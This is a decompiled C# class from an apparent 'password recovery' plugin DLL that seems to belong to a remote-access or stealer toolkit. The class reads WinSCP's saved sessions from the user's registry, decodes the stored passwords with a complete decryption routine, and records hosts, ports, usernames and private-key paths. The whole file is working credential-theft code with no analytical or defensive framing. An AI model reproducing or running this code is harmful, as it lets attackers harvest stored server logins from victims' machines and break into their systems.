﻿// Decompiled with JetBrains decompiler
// Type: Plugin.Helper.FtpClients.WinScpPassReader
// Assembly: PluginPasswordRecovery, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: E94068A8-BD3A-4D1E-9D36-4F12AED48A05
// Assembly location: C:\Users\ian\Downloads\Telegram Desktop\fein\Plugins\PluginPasswordRecovery.dll

using InvokedClient.Extensions;
using InvokedClient.Helper;
using InvokedCommon.Models;
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Linq;


namespace Plugin.Helper.FtpClients
{
	public class WinScpPassReader : IAccountReader
	{
		public string ApplicationName => "WinSCP";

		public IEnumerable<RecoveredAccount> ReadAccounts()
		{
			List<RecoveredAccount> recoveredAccountList = new List<RecoveredAccount>();
			try
			{
				using (RegistryKey key1 = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\\\Martin Prikryl\\\\WinSCP 2\\\\Sessions"))
				{
					foreach (string subKeyName in key1.GetSubKeyNames())
					{
						using (RegistryKey key2 = key1.OpenReadonlySubKeySafe(subKeyName))
						{
							if (key2 != null)
							{
								string valueSafe1 = key2.GetValueSafe("HostName");
								if (!string.IsNullOrEmpty(valueSafe1))
								{
									string valueSafe2 = key2.GetValueSafe("UserName");
									string str1 = this.WinSCPDecrypt(valueSafe2, key2.GetValueSafe("Password"), valueSafe1);
									string valueSafe3 = key2.GetValueSafe("PublicKeyFile");
									string str2 = valueSafe1 + ":" + key2.GetValueSafe("PortNumber", "22");
									if (string.IsNullOrEmpty(str1) && !string.IsNullOrEmpty(valueSafe3))
										str1 = string.Format("[PRIVATE KEY LOCATION: \"{0}\"]", (object) Uri.UnescapeDataString(valueSafe3));
									recoveredAccountList.Add(new RecoveredAccount()
									{
										Url = str2,
										Username = valueSafe2,
										Password = str1,
										Application = this.ApplicationName
									});
								}
							}
						}
					}
				}
				return (IEnumerable<RecoveredAccount>) recoveredAccountList;
			}
			catch
			{
				return (IEnumerable<RecoveredAccount>) recoveredAccountList;
			}
		}

		private int dec_next_char(List<string> list)
		{
			return (int) byte.MaxValue ^ ((int.Parse(list[0]) << 4) + int.Parse(list[1]) ^ 163) & (int) byte.MaxValue;
		}

		private string WinSCPDecrypt(string user, string pass, string host)
		{
			try
			{
				if (user == string.Empty || pass == string.Empty || host == string.Empty)
					return "";
				List<string> list1 = pass.Select<char, string>((Func<char, string>) (keyf => keyf.ToString())).ToList<string>();
				List<string> stringList1 = new List<string>();
				for (int index = 0; index < list1.Count; ++index)
				{
					if (list1[index] == "A")
						stringList1.Add("10");
					if (list1[index] == "B")
						stringList1.Add("11");
					if (list1[index] == "C")
						stringList1.Add("12");
					if (list1[index] == "D")
						stringList1.Add("13");
					if (list1[index] == "E")
						stringList1.Add("14");
					if (list1[index] == "F")
						stringList1.Add("15");
					if ("ABCDEF".IndexOf(list1[index]) == -1)
						stringList1.Add(list1[index]);
				}
				List<string> list2 = stringList1;
				int num1 = 0;
				if (this.dec_next_char(list2) == (int) byte.MaxValue)
					num1 = this.dec_next_char(list2);
				list2.Remove(list2[0]);
				list2.Remove(list2[0]);
				list2.Remove(list2[0]);
				list2.Remove(list2[0]);
				int num2 = this.dec_next_char(list2);
				List<string> stringList2 = list2;
				stringList2.Remove(stringList2[0]);
				stringList2.Remove(stringList2[0]);
				int num3 = this.dec_next_char(list2) * 2;
				for (int index = 0; index < num3; ++index)
					list2.Remove(list2[0]);
				string str1 = "";
				for (int index = -1; index < num2; ++index)
				{
					string str2 = ((char) this.dec_next_char(list2)).ToString();
					list2.Remove(list2[0]);
					list2.Remove(list2[0]);
					str1 += str2;
				}
				string oldValue = user + host;
				int count = str1.IndexOf(oldValue, StringComparison.Ordinal);
				return str1.Remove(0, count).Replace(oldValue, "");
			}
			catch
			{
				return "";
			}
		}
	}
}
